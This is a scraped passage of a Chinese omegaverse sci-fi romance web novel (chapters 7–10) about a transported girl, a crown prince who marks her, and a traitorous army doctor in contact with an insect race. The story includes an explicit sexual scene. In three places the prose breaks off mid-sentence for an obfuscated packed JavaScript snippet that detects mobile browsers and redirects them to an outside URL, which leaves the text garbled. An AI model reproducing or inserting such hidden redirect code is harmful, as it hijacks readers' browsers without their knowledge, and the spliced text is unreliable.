被自己的想象力吓到一动不动的桑宁叙呆站在原地,此时她的大脑一片空白,刚才还并不明显的喀嚓声现在却反倒异常清晰起来,声音越来越大,似乎在一点一点缓慢朝她的背后移动,同时伴随着的,还有难以言喻的吸食声,像是用极其尖锐的物体刺破不知名的柔软组织,随后将粘稠液体大力搅拌后快速吸吮干净的、令人不适的噗嗤声。 她有种非常不好的预感…… 进食的声音缓慢落下,四周陷入一片死寂,没有风声,也没有液体流动的声音,就连时间仿佛都静止了一般,似乎刚才的异常不过是她愚蠢的幻想,在黑暗中精神紧绷的桑宁叙并没有因此放松下来,她紧闭着双眼,面色惨白、冷汗汲汲,握紧的拳头垂在身旁无法控制地不住抖动,她死死咬着牙关,侧耳仔细聆听着周围可能出现的任何奇怪响动。 起初什么都没有,除了自己过于急促的呼吸声外,桑宁叙只听见了心脏在胸膛内的巨大震动,头脑因过度紧绷而导致太阳穴也一跳一跳,在面对未知的惶恐中,她拼命逼迫自己冷静下来。 屏息、凝神、再听。 细弱微小到几乎可以忽略不计的翅膀颤动声逐渐显露,终于被她逮住了马脚,冰湖信息素不再蛰伏,在桑宁叙反应过来之前已经蓄势待发,做好充分的准备与未知的异形生物进行斗争。 在信息素释放的同时,那东西的移动速度明显加快,无法理解的混沌低吟也逐渐充斥了大脑,尽管闭着双眼,可桑宁叙就是能够百分之百确认那家伙是朝自己而来。 处在过度惊惧中的女孩无知觉地加大了信息素的释放,与此同时,脑海里乱码的碎片与冰冷的思维链接让本就体寒的桑宁叙只觉得自己几乎要冻僵,指尖深深嵌在手心之内,似乎现在只有疼痛才能让她勉强保持清醒,不被那黑暗邪恶的低语侵蚀并吞没。 她并不能听懂它的语言,但是,信息的传递并不单单只靠语言才能完成,脑内过于疯狂的恶意和冰冷饥饿的渴望让桑宁叙立刻“听”懂了它的意思,她只觉得全身上下、从里到外,每一寸皮肤与骨骼、血脉与灵魂都在承受着这无法抗拒的交流。 完蛋了,她好像真的变成了食物。 怎么办? 对虫族一无所知的桑宁叙急得快要哭出声来,她怎么这么倒霉,莫名其妙被人丢到漆黑的宇宙里不说,居然还直接碰上了大名鼎鼎的虫族,难道手无寸铁的自己今天真的要葬身于虫子的口腹之中吗? 刺痛耳膜的高频嘶叫突然响起,桑宁叙只觉得霎时间头疼欲裂,如地狱般的魔音逐渐向她靠拢、包围、禁锢,被囚困于其中的她不断被虫鸣攻击,翅膀传来的巨大震动声在她头顶挥之不去,然而奇怪的是,那东西像在忌惮什么,迟迟不敢靠近这个让它极度兴奋的猎物。 好恶心,好讨厌,好烦人。 当桑宁叙渐渐习惯恐惧之后,心底对于虫类的厌恶也达到了顶峰,甚至隐隐有压制恐惧的趋势。 要是她的信息素也能像Alpha那样杀掉虫族就好了。 猝不及防失去意识前,这是她在内心最后闪过的念头。 “殿下不必担心,太子妃不过是第一次经历诱导发情,现在需要充足的休息和睡眠。况且,您说您并没有标记她?” “暂时没有。” 男人冷毅的声线在病房中响起,穆沉凛像尊雕般笔直地坐在病床旁边,目不转睛地盯着床上面色苍白的女孩,面对贺书愉三番五次的询问,他依然没有解释为什么到了最后一刻也没有标记这个跟他信息素完美契合的Omega。 是的,确实如他所料,化验分析的结果显示,他们二人信息素的匹配度达到了百分之百。 站在男人身边的医生看着女孩不安稳的睡颜,不漏痕迹地皱了皱眉。 贺书愉本想继续追问些关于二人诱导发情的细节和始末,可就在即将开口时,冰醋酸却抢先一步封住了他的嘴。 草。 一时不察差点被呛死的贺书愉立即后退了几大步勉强稳住身体,他单手伏在墙上剧烈地粗喘,瞳孔内蓄满了泪水,舌头更是火辣辣的疼痛。 他知道,穆沉凛这是在禁止他继续探究。 “下午您还有一项身体检查,到时我在检查室等您。” 快速调整好表情后拭去泪水的贺书愉对着太子殿下的背影优雅地鞠躬告退,尽管在心里把人翻来覆去骂了至少百八十遍,此刻他也只得毕恭毕敬地识趣离场。 毕竟他现在获得的一切皆由帝国授予,因此在帝国继承人面前的贺书愉哪怕心里再不甘愿,他也得装得恭敬谦卑,至少明面上绝不能忤逆太子殿下的任何命令。 不过是会投胎生在了皇家,又恰好因为幸运成为了顶级Alpha,如果他也有相同的出生和能力,穆沉凛又算得了什么? 清脆的皮鞋声在走廊中短暂停顿了一秒,贺书愉目光晦涩地朝刚刚走出的那扇门望去,随即回头在心里不屑地嘲讽。 命运还真是善待穆沉凛,竟然如此轻松地就让他找到了完美匹配对象。只可惜,这位太子妃出现的实在太不合时宜,为了帝国的未来,也别怪他心狠手辣。 要怪,就怪穆沉凛吧,谁让他选中了她呢? 呵…… 三天后,正在拟定最新作战计划的穆沉凛收到了私讯:太子妃清醒了。 军事会议中向来厌恶被打断也从不看通讯设备的男人少见地暂停了会议,等他回复完讯息后才在众人吃惊地表情中对着正在汇报的元宿微微颔首,示意他继续。 交换完视线的众人虽然面上不显,但心底却都有了各自考量。 太子殿下这是转性了,Omega的确是厉害,居然能让这位极其严苛遵守各项规则的殿下为她破例。 看来以后,他们的殿下也要拥有软肋,被人拿捏了。 睡梦中差点被虫子吃掉的桑宁叙此时正心有余悸地靠在床头发呆,同时任由来往的医护人员为她进行各种奇怪的检测。 不知道为什么,她总感觉自己经历的一切并不是梦…… 针头从手腕处拔出,冷艳的护士女Alpha细心地帮她贴好止血贴,桑宁叙稀奇地尝试着转动手腕,发现竟然全无痛感,正好奇打量着腕间白色柔软贴纸的女孩习惯性地摊开手心,她随意向上一瞥,却意外看见了四个清晰可见的月牙深痕。 什么?! 孤身被困在荒芜宇宙中的恐慌感顿时倾泄而下,桑宁叙只觉自己再次坠入冰窟,背后冷汗直流,诡异又难听的鸣叫和颤动声似乎如影随形,她僵直了后背像是被牢牢定住,纤细的手指几乎无法弯曲,在巨大的质疑和不可置信中,桑宁叙艰难地合拢了四指。 完全贴合,分毫不差。 什么意思?难道她真的在梦中被丢到了太空?然后差点有去无回? 救命啊!这到底是怎么一回事? 结束会议后便匆忙赶来的太子殿下还未进门就察觉到了里面那人无法克制的害怕与无助,腺体几乎是一瞬间就灼热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817807|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,冰醋酸在发现心爱之人遭遇欺负后也即刻暴怒,正雄赳赳气昂昂地准备大肆破坏一番。 意识到信息素又不受控制的穆沉凛迅速甩开其他人单独进入病房,待落锁之后,他才纵容冰醋酸任意飘荡。 后颈的腺体突然发烫,刚才还被恐惧扼住咽喉的桑宁叙顿时软下了身体,她只觉得自己像是归巢的幼兽,又或是溺水的落难者抓住了浮木,流离失所后终于找到归属,无与伦比的安全与可靠紧紧裹住她,而她的信息素也正疯狂纠缠着冰醋酸。 无意识地勾引最为致命,穆沉凛才刚进门,互相缠绕的信息素就让他爆发了极强的不满足与占有欲,理智几乎被吞噬,纯黑的竖瞳再次出现。 女孩脆弱依赖的神情和充满诱惑的腺体即刻落入蠢蠢欲动的男人眼中,他体内的燥意急速上涨,信息素暴乱前夕的失控感又一次降临,□□和理智不断拉扯,仍保持着几分神志的穆沉凛丝毫没有犹豫,他果断从口袋中掏出常备的抑制剂,利落地将针头推进腺体。 难以忍受的胀痛和高热似乎看起来对他并没有任何影响,穆沉凛随意地丢掉用过的针头,面无表情地拉开凳子坐在了床边。 在冰醋酸被强制收回后,虽然只是被简单地安抚了一下,但是作为绝对匹配的二人,受穆沉凛顶级信息素影响的桑宁叙很快就找回了神志,只不过,看着面前这位和她并不熟悉的太子殿下,在他长久的沉默和注视中,尴尬又不知所措的桑宁叙也傻坐在床上,不知该如何开口。 然而总归是要有人打破沉默。 “身体怎么样?” “你还好吗?” 信息素短暂共感过的两人此时倒是变得默契非凡,他们异口同声地询问,却在听到对方声音后微微错愕。 桑宁叙见男人一本正经地紧盯自己不放,本就不太自在的她只觉得脸皮止不住地发热。 嗯,虽然那啥,但是不得不承认,太子殿下的脸蛋还是极其出挑和完美的。 尽管日日穿着军装的男人总让人下意识认为他威严可怕,但如果仔细观察,比她大不了几岁的太子殿下分明眉星剑目,皮肤白皙干净,鼻梁高挺英气,漆黑的瞳孔如夜空一般深邃,锋利的下颚线和立体的轮廓更是让他整张脸都显得英俊又高级。 大概是长年在战场上厮杀的凶意和上位者特有的矜贵冷漠,才让这位年纪轻轻的太子殿下总是看起来肃杀又冰冷,十分难以接近。 反正,被这么一个大帅比目光灼灼地凝视,她确实是有点遭不住。 刻意避开男人莫名的目光后,似是为了缓解紧张的情绪,桑宁叙抢先一步开口回答:“还好。” “你的信息素……” “抱歉,什么?” 脑子还有些迟钝的桑宁叙想也没想地下意识朝男人看去,四目相对间,融化后湖水的味道似乎变得更浓了。 穆沉凛盯着女孩纯净疑惑的双眼迟疑了一秒,房间里信息素的浓度已经过高,但她却像闻不见一样单纯天真地面对着自己的Alpha,仿佛丝毫没有察觉到不妥。 这种程度的信息素释放,如果不是两人已经交融过,按照帝国的律法,她现在的行为甚至已经可以算得上程度最恶劣的引诱犯罪了。 也许是桑宁叙的不解太过理所当然,话到嘴边的穆沉凛突然一顿,即将脱口而出的提醒最终转了一圈被吞了回去,男人很快就岔开话题:“你好好休息,晚上我再过来。” 虽然不知道殿下为什么还要找她,但身为太子妃她也总不好拒绝自己丈夫的到来。 “哦……好。”桑宁叙轻轻点了点头。 得到回复的太子殿下不再逗留,他习惯性看了看时间后随即起身,在桑宁叙茫然的视线中客气又疏离的道别。 “晚上见。” 8. 第 8 章 夜幕降临,桑宁叙从昏睡中再次醒来,刚睁开眼就直直对上了冷酷男人深邃锋利的视线。 妈妈呀! 似乎特意为了不惊扰她,穆沉凛并没有开灯,夜视能力出色的男人独坐在漆黑的房间中久久凝望着女孩的睡颜,神色莫测,看不出究竟在想些什么。 半眯着眼睛滴溜转的桑宁叙正在犹豫是继续装睡还是起身时,男人已经起身为她打开了床头灯。 昏黄的灯光笼罩在室内,宁静的夜色中平添了一份说不出的暧昧。 “抱歉,让您久等了。” 吭哧了半天的桑宁叙终于面色绯然地蹦出一句话。 在坐姿端正的太子殿下面前,她也不好意思继续跟个大爷一样躺着,于是只好努力忽略男人滚烫的视线,从床上慢慢坐了起来。 “您有事找我?” 明明两个人已经互通过信息素,但是桑宁叙还是没由来地觉得尴尬。 “桑……小姐。” 穆沉凛终于舍得开口,男人明明从头到尾都直视着她的正脸,但桑宁叙却总感觉这人的目光若有若无地落在自己微开的领口和某个更私密的地方。 她的腺体。 “叫我宁叙就好。” 桑宁叙忙不迭地纠正这位尊贵的太子殿下,小姐什么的从他口中说出也太奇怪了。 “我们的信息素匹配度是百分之百。” “噢……什么!” 前一秒还坐得淑女端庄的桑宁叙被穆沉凛带来的消息瞬间炸了个外焦里嫩,差点从一跟头床上栽下去,她忽然觉得自己好像听不懂帝国的通用语,于是满脸不信地又问了一遍:“我们是指,你和我吗?” “是的。” 我去,这都什么狗血小说的桥段让她碰上了啊! 穿越人士必定身怀绝技从而拯救天命之子的故事,怎么还真的轮到她来主演了啊喂! 穆沉凛不动声色地注视着女孩脸上多彩丰富的表情和手里她自己都没察觉的小动作,精密的大脑已经开始迅速分析推测起她的所思所想。 他的太子妃似乎对他带来的消息并不怎么高兴。 “托你的帮助,我的信息素暴乱暂时稳定了下来。”穆沉凛淡淡开口。 正在心里叽里咕噜大肆吐槽的桑宁叙猝不及防地听见太子殿下的道谢,虽然对于自己如何安抚男人的全过程一丁点都不记得,但表面上当然还是要装得从容不迫:“……没关系,都是我应该做的。” “但稳定并不代表痊愈。” “根据治疗方案,我们需要尽快标记。” 咦,她竟然还没有被标记吗? 男人像是读懂了桑宁叙的疑问,他移开视线,不太自然地轻咳一声才继续接着道:“需要永久标记,我希望先知会你后再进行。” 原来是这样,没想到高高在上的太子殿下倒是意外的体贴…… “虽然我们已经成婚,但永久标记意味着即使以后夫妻感情破裂,双方也依然会对彼此的信息素产生致命的依赖和痴迷。” “非常抱歉,虽然我们只是普通的联姻,但下一波虫族攻击很快就会到来,出于对帝国安危的考量,我必须尽快解决信息素暴乱的问题,作为绝对匹配对象,只能麻烦你配合治疗。” 一贯军人作风的穆沉凛语言清晰简洁地介绍完现在的情况,房间又恢复寂静,桑宁叙并没有立刻答应,她低着头盯着盖在身上的纯白被单,侧脸被虚虚落下的头发挡住大半,让男人无法看清她脸上的神色。 所以这就是属于Omega的命运了吗? 不论怎样,终归是逃不了被人咬,之后日夜匍匐在Alpha的身下承受着欲望,直至死亡。 听起来,真的很没意思。如果可以重新来过,她倒是想变成Alpha,体验一番能用信息素在战场上和虫族拼杀的感觉。 那样才不枉她穿越一番。 女孩长时间的停顿让一向耐心的太子殿下隐隐焦躁,上次安抚中被果断拒绝后的不甘与不解又有冒头的迹象,本就依靠抑制剂才尽力维持清醒的男人因为情绪剧烈的波动几乎快要控制不住信息素的扩散。 为什么不答应?为什么不愿意?为什么又要拒绝他? 阴暗偏执的想法一个接着一个迫不及待地破土而出,瞬间从一粒看不见的种子摇身一变,疯狂向上攀爬冲入云霄,变成遮天蔽日的参天大树。 “好。” 刚才还疯狂挥舞着枝干的高大树木此时立即停止了摇摆,穆沉凛掩下眼底的郁色,微微颔首:“多谢。” “没事,我们是……现在就要标记吗?” 女孩白皙的脸庞在灯光下显得无比柔美,她忽闪着眼睛看向自己名义上的丈夫,语气平静,像是在问一件和自己无关紧要的事。 “如果你不介意。” 桑宁叙迟疑了几秒,很快就答应了下来:“行,没问题。” 反正早咬晚咬都得被咬,那还不如早开始早结束,到时候太子殿下痊愈后继续上场杀敌,她也可以被放回家过安生日子,再回到之前互不干扰的生活。 很好,就是短暂地疼一下罢了。 桑宁叙一边在心里对自己劝慰着,一边剥开了披在身后的头发,好让某位殿下等会儿能顺利操作。 还傻乎乎地以为自己什么都不用做,只用被咬一口的桑宁叙并没有发现在她答应后身边男人骤变的眼神。 贪婪、渴望、霸道、侵占。 哪里还有一点之前正直严肃的首领形象。 永久标记之后,这将是他此生注定的唯一Omega,她的信息素只能为他所占,她的腺体,也只能属于他。 光是想到这里,穆沉凛就已经觉得浑身的血液急速沸腾了起来,刚才勉强压制的信息素再也无法收敛,霎时间一股脑地喷薄而出。 奇怪,怎么莫名有一种过于刺激的感觉? 桑宁叙不由自主地使劲眨了眨眼,刚才那一瞬间她只觉得眼睛有些酸疼,像是切洋葱时止不住地流下泪水。 只可惜,还没等她反应过来,眼前出现的黑影就已经将她一把拽起,托抱着放在了令她感到不熟悉的坚硬大腿上。 什么……? 此时的桑宁叙正以一个非常羞耻的姿势跨坐在男人身上,她的后腰被灼热的大掌死死圈住,整个人在他怀里动弹不得,正想开口让他动作轻点的桑宁叙才刚刚抬头,就被男人如兽类般紧盯不放的竖瞳吓了一跳。 次奥,生理书上也没讲过Alpha标记时眼睛会变吧! “……那什么……哎!” 在心里拼命打草稿还想试试看能否沟通的女孩压根没注意男人越凑越近的脸庞,同时早已上移的大手也趁她分神的功夫一把撕去后颈上的特效阻隔贴,顿时,属于她的信息素在冰醋酸的刺激下全然释放。 淡粉的嘴唇被叼住,桑宁叙被男人死死按在怀里,两个人的身体紧贴在一起,极高的信息素匹配直接冲散了她的理智,软弱无力的身体在男人的支撑下才没有滑到床上,大脑乱成一团浆糊,浑身的每个细胞更是叫嚣着不满足。 被欲望冲昏头脑的桑宁叙已经分不清现实和虚幻,她只觉得不够,非常不够, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817808|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是便很快反客为主,勾起嘴里那不得章法的柔软之物学着以前在各种小视频里看过的接吻方式大力亲了起来。 好好亲…… 迷失在欲望中的女孩愈发不管不顾,还保留着些许神志的穆沉凛虽然不清楚为什么开始还很生涩的女孩突然一下变得狂野起来,但从来没有谈过恋爱甚至才刚献完初吻的太子殿下只是短暂地震惊了一秒,随后立即不甘示弱地回应起来,任由自己放纵在与命定之番的激烈热吻中。 比起上一次被动的信息素融合,很明显,这次主动追求永久标记的二人不再克制,着迷地沉溺在彼此的气味中尽情做遍了所有想做的事。 双方的信息素早已融合,房间里充满了一股透彻冷凝却极具尖锐的酸。 腺体好痒…… 在颠簸中的桑宁叙迷迷糊糊想到,虽然二人的信息素和身体已经如旋涡一般纠缠在一起密不可分,但她在肢体满足欲望的同时却总觉得心里有一处空空如也,迫切等待着被什么东西填满。 可是,是哪里呢? 明明他们现在,就交融在一起呀? 在这里。 灵魂共振的另一方清晰又明确地感知到了恋人的疑惑和诉求,本就苦苦蛰伏的他终于不再等待,在最后一击时给予了女孩答复。 灭顶的快感和剧痛同时袭来,腺体被人深深地咬破,同时,属于那人炙热的溶液也倾注而下,被迫送进她的体内。 桑宁叙甚至无法分辨自己究竟是因为太疼而产生了快感,还是快感本就存在。顶级Alpha的信息素本就不是普通人能招架的住,尽管跟他百分之百契合,但桑宁叙也还是经历了一场难以言喻地劫难。 冰醋酸被注入体内后,她只觉得自己的身体仿佛煮沸般疼痛难捱,甚至一度超越了腺体被咬破的疼。 后者只是皮肤被刺穿的痛楚,但注入信息素却让她有一种灵魂和血液同时被击穿的感觉,仿佛整个人都在岩浆中毁灭又重组,直至形成一个彻底全新的她。 比起桑宁叙的痛,穆沉凛却只有跟她结合后的无尽喜悦和越发浓厚的爱意。 给爱人注入信息素这个行为让他头一回产生了奇特的归属感,这个世界上第一次有一个人和他产生了独特的联结,让他不再向往虚幻的精神满足,而是无时无刻都想要关注她、拥有她、触摸她、占据她,一次又一次地标记她,给她打上属于自己的烙印,永远成为自己的所属物。 他的Omega。 标记中的狂喜让一向自制的穆沉凛都忍不住加快了身体的动作,在爆发中,Alpha的腺体因为太过兴奋甚至渗出了些许冰醋酸。 无尽缠绵,无尽激爱。 当Alpha终于依依不舍地拔出犬齿,Omega早已红肿不堪被戳了两个洞的腺体可怜兮兮地暴露在空气中,随即又被某个不知足的男人捉住,无法停歇地轻咬舔舐。 真香,真甜。 彻底被融化的冰湖涌出了融雪后的清新和水中矿物质的清冷,冷甜交织,却又在凑近时弥漫出一丝若有若无的酸。 那是他的信息素。 终于确认身下的人被自己完全标记,极度兴奋过后的穆沉凛在冷凝冬湖的静默与纯粹中先是擦了擦她汗渍渍的脸,随后又安抚般地贴了贴女孩几乎被咬破的唇,虽然已经陷入沉睡的桑宁叙什么也感觉不到,但他还是忍不住把怀里的人亲了又亲。 仔细打量完女孩五官的男人终归是忍住再来一次的冲动,只是贴在味道最浓郁的冰湖源头,在心脏坚定剧烈地震动声中,依依不舍地闭上双眼和她一起沉沉睡去。 9. 第 9 章 “殿下,根据贺医生送来的检测结果,太子妃的信息素没有任何问题,身体检查也一切正常。” “匹配度还是百分之百吗?” “是的殿下,您和太子妃依然是完全匹配。” 有意思。 穆沉凛挥退了前来报告的元宿,待大门关上后,他才又仔细查看了一番刚才元宿留下的关于桑宁叙的身体资料。 男人快速浏览过资料上一条条显示正常的数据,再转到最后一页二人匹配度检测的结果,毫无意外地看见了那个熟悉的数字:100%。 不是99%,也不是99.99999%,而是完整的100%。 据他所知,帝国信息素匹配度的最高结果也不过是95%,而那一对匹配对象正是他的父皇和母后。 据说当年皇室公布出这一刷新记录的数据后,在众人的震惊中,原本对母后家世还颇有微词的前任帝后也不再多言,随即便快马加鞭的为两人定下婚约。 他原本以为,自己这样半残疾的信息素是根本不可能找到任何匹配对象,只不过天降惊喜,让他遇见了一个对自己信息素完全不排斥的桑宁叙,且她的信息素对他也有致命吸引力,是仅靠理智根本无法博弈的、来自生理层面压倒性的渴望。 但是…… 穆沉凛面色凝重地合上资料,再次回想起咬过桑宁叙后的第二天清晨,提前醒来的男人在查看怀中人腺体时,发现上面原本深重的咬痕竟消失全无,而弥散在房间内若有若无的信息素也并没有融合他的味道,更怪异地方的则是,那个被成功标记的人似乎变成了自己,在闻见桑宁叙信息素后的他立即不可控制地产生几乎成瘾般的依赖和占有。 他已经完全认定这就是自己的Omega,但是这位被他咬过后的Omega却没有被成功标记。 为什么? 被这件事困扰了近一周左右的太子殿下却迟迟找不到答案,为此已经做了不下五次身体检查的穆沉凛虽然逐渐开始不耐烦,但军医院送来的结果却没有任何新发现,每一次的结果都基本相同。 他们二人的身体都非常健康,且匹配度高达百分之百。 但就是这样没有任何问题的结果,才让穆沉凛越来越觉得不对劲。 既然是命定之番,为什么他的Omega却不能被标记? 还有标记那晚,桑宁叙的反应也很奇怪,尽管军医院已经无数次确认太子妃的身体没有任何缺陷,但通过那晚的观察,穆沉凛却隐隐觉得不对。 太子妃的嗅觉,似乎不太灵敏…… 虽然桑宁叙没有被成功标记,但好在穆沉凛的信息素在她的调节下的确开始走向正常水平,按照贺书愉的方案,每次战后只要及时进行安抚和疏导,他信息素暴乱的问题应当很快就能解决。 所以在他痊愈之前,桑宁叙都会跟他们一起住在星舰内,充当他的私人药品。 提起贺书愉,太子殿下不由烦躁地捏了捏眉心。 他的这位“好”军医长,最近身上虫族的能量倒是越来越重了。 即使作为帝国极少数能直接接触并研究虫族尸体的对象,他并不奇怪偶尔在贺书愉身上感应到与虫族相同的气味与能量波动,但这段时间,贺书愉身上不同寻常的变化还是明显引起了他的注意。 贺书愉自以为掩饰的很好,但对于战斗主力的穆沉凛来讲,他似乎天生就拥有对虫族极其敏锐的反应,任何一点细微的波动都能让他即刻进入备战状态,更重要的是,他拥有其他人都没有的对虫族精神污染自动免疫的能力。 这也是他在每场战役中制胜的关键,即使深陷虫族的包围与攻击,穆沉凛也能不受影响并保持绝对的冷静,且以冰醋酸为中心近一米之内,一切试图入侵帝国士兵思维的精神污染都会自动失效。正因如此,在所有士兵的心目中,太子殿下绝对是他们对抗虫族不可或缺的法宝。 以及,无人能敌的大杀器。 和其他Alpha不同,太子殿下刺激的信息素天生就带有对虫族近乎毁灭性的打击,信息素浓度更是常人的几十倍,到现在为止,还从来没有一只虫子能逃过他的掌心。 贺书愉、桑宁叙、虫族、帝国的未来。 每一件事对太子殿下来讲都不是儿戏,但从小作为储君培养的穆沉凛并没有因此倍感烦躁,军人思维的他只是快速在脑海中排列出优先级,随后立即着手分析最近一次的战事回溯。 一件一件来,总会解决的。 凌晨一点,星舰内部一片寂静,作息规律且严格的士兵们都已睡下,除夜间执勤人员外,其余人也纷纷休息。 在冰冷无声的巨大星舰中,唯有贺书愉依然身着白大褂,只身前往那间熟悉的研究室。 “贺医生!” 看守在门外的士兵对着年轻的军医长敬了一个标准的军礼。 “嗯。” 贺书愉冷漠地应声,这些隶属于穆沉凛手下的人早已习惯这位作息混乱的军医长经常深夜独自一人前往研究院,时常在里面熬个通宵后第二天一早才堪堪离去。 索性这间极度保密的研究室里里外外都受太子殿下的掌控,只要殿下没有反对,也不会有任何人对贺书愉不按常理的行为产生质疑。 虹膜识别通过,贺书愉站直身体,几秒后大门开启,男人头也不回地大步跨进了这间被时刻严密监控的虫族研究室。 封在真空罩中被肢解后的各类虫族节肢、触角、甲壳,依此整齐地排列、环绕在整间研究室中,贺书愉面无表情地路过这些来之不易地虫族尸身,径直走向最里间的一扇小门前。 指纹、虹膜、声音、手环四重识别后,扑面而来的冰冻气息让衣着单薄的贺书愉没忍住打了个冷颤,但一想到自己等会要做的事,激荡的心情也早已冲破了来自生理层面的不适。 惨白冰冷的蓝色灯光应声打开,贺书愉缓缓踏入这间不管来了多少次,却总能带给他震撼、恐惧和狂喜的地方。 也是让他得以连接那位的神圣地方。 这是一件面积不大的冷室,里面储存着帝国到目前为止,唯一活捉的虫子。 不过,虽然当年的确是被活捉到,但由于前任军医长操作不当,这位和虫网断开连接的沉睡孤虫还是在实验中日渐枯竭,被迫死亡。 接手研究院后,贺书愉几乎是第一时间就在太子的陪同下一起来到了这神圣的房间,参拜他心中巨大的信仰和希望。 一只被完整保留的虫尸。 同时也是带给他巨大发现和惊喜的、来自上天的馈赠。 虽然这间房子的四角全部被安装了监视器,但贺书愉却并不担心,他像单纯心情不好来参观一样,漫无目的地绕着这具标本缓慢踱步。 “女王陛下。” 大概估算着时间差不多,极寒气温中他亲手特质的信息素阻隔贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817809|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂失去了功效,终于在感受到一丝浅淡的红酒味信息素飘散而出后,贺书愉随即感受到来自黑暗深渊的连接,尽管已经不是第一次,但人类对于虫族冰冷邪恶的震颤与急速高频的虫鸣仍然感到不由自主的惧怕。 已满身汗水剧烈颤抖的贺书愉勉强挺直后背站在原地,假装一切正常地盯着标本思考。 混乱又无序的低语一点一点占据脑海,即使研究过大量虫语的贺书愉也不得不承认,完全由能量组成的语言是无法被人脑解析转码,他大概永远也无法理解虫子们的语言,只能被动地等待着它们使用帝国语言交流。 但是没关系,他相信在未来,有朝一日,他们不需要破解也能自动理解虫族语言。 “……嘶啦……咔……咔……” 直接出现在脑海中令任何一个普通人都会感到恐惧和绝望的进食声不断响起,如同在脑中咀嚼和刮擦的细小声音接连不断地响起,为了抵抗来自虫族集群的轰鸣声,思维不被吞噬,贺书愉不得不紧闭双眼,死死咬住牙关,强迫自己忽视那些象征着啃噬与消亡的不详声音。 终于,在他即将昏厥之前,那期待已久的无机制声音有如神降,让他瞬间振奋起来。 “……复刻失败。” “杀掉她。” 满含冰冷、仇恨与恶意的无性别声音如机器般在脑内生硬缓慢地响起,只有短短七个字,还没等贺书愉回过神来,他和虫族的精神连接已然被对方单方面切断。 回归正常的贺书愉终是忍不住半蹲下身体,此时他的大脑内部像是被龙卷风侵袭后被搅得混乱不堪,甚至有近半分钟的时间都无法集中精神正常思考,那超越物理的可怖声音几乎让他丧失神志陷入疯狂。男人开始急促喘息,与此同时,为了不暴露自己的失控,他抱紧双臂像是被冻得受不了一样,顺势把牢牢捏在手里的短小针头推进了胳膊。 又过了十秒,刚才还奄奄一息的男人霎时间就恢复了精神,他若无其事地站了起来,走到虫尸的另一面,也装模作样地缓缓蹲下身体,好像真的是自下而上仔细观察着虫族的底部形态。 意识逐渐回笼,清醒后的贺书愉立刻一遍又一遍反复回想着自己刚才收到的命令。 竟然失败了吗? 但这怎么可能? 不过是个普通的Omega……不,不对,能承受那位的信息素,怎么能随便归为普通呢? 啧,看来是他大意了,以为拥有这位至高无上的帮助后,没有什么是它不能完成的。不过,反正也只是被他们利用的棋子,既然那位已经确认她不可用,那就不必再心慈手软。 到时候,没有了命定之番的穆沉凛,在他的推波助澜下,又能活多久呢? 一旦群龙无首,帝国在虫族的攻击下又能抵御到几时呢? 到时候,无人可用的帝国上下便只能被迫向虫族打开大门,心甘情愿地俯首称臣。 想到这里,贺书愉只觉得浑身都在激动地战栗,他就快要忍不住亲眼见证那日的到来 低沉冰凉地笑声在冷室缓缓响起,贺书愉站在虫尸的正对面,高抬起头颅死死凝视着这个即使死亡后还充斥着压迫和吞噬恶意的尸体,渐渐敛起了眸中的疯狂与笑意。 他贺书愉,届时将不再是帝国驯养的一条狗,而是最伟大的领袖,只有他才配携手虫族,带领帝国走向全新的未来。 那才是真正属于帝国正确的命运。 10. 第 10 章 “好无聊啊啊啊……” 百无聊赖地桑宁叙吃完没滋没味地营养午餐后忍不住在床上翻了两个滚,把头埋在被子里大声在心底抱怨起来:“到底为什么还不放我回家!” 距离上次被咬过后,休息了三天才勉强缓过神来的桑宁叙就在穆沉凛的命令下先是被拉去做了一个复杂又耗时的全身检查,之后就被男人关在房间里哪也不能去。 家里她还能上网追剧找零三七唠嗑,在这破星舰上她连个能说话的人都没有,更别提那些给她用来打发时间的电子产品了。离谱的是,这些人还都自发把她当做尊贵的太子妃殿下捧在手心里呵护着,甚至无论做什么事都小心翼翼,仿佛她是个时刻可能破碎的玻璃娃娃。 拜托,虽然她是Omega,但本质上也是个正常人好不好! 作为整艘星舰里唯一的Omega,还是太子殿下的命定之番,所有人都对这位看起来温和可爱、没什么脾气的女孩细心保护着,生怕她不小心出点什么事,连带着一群人都跟着遭殃。 毕竟,作为帝国前线最危险的地方,每个Alpha都战战兢兢地过着在刀尖上舔血的日子,在战争结束前,帝国更要严格保证星舰内部的安全问题。 原本星舰就不许任何Omega踏足,尽管因殿下的病情不得不召来太子妃,但谁也不能保证意外的发生,所以最好的办法就是仔细照顾好这位太子妃,让她不要随意在星舰内部走动,免得影响其他人。 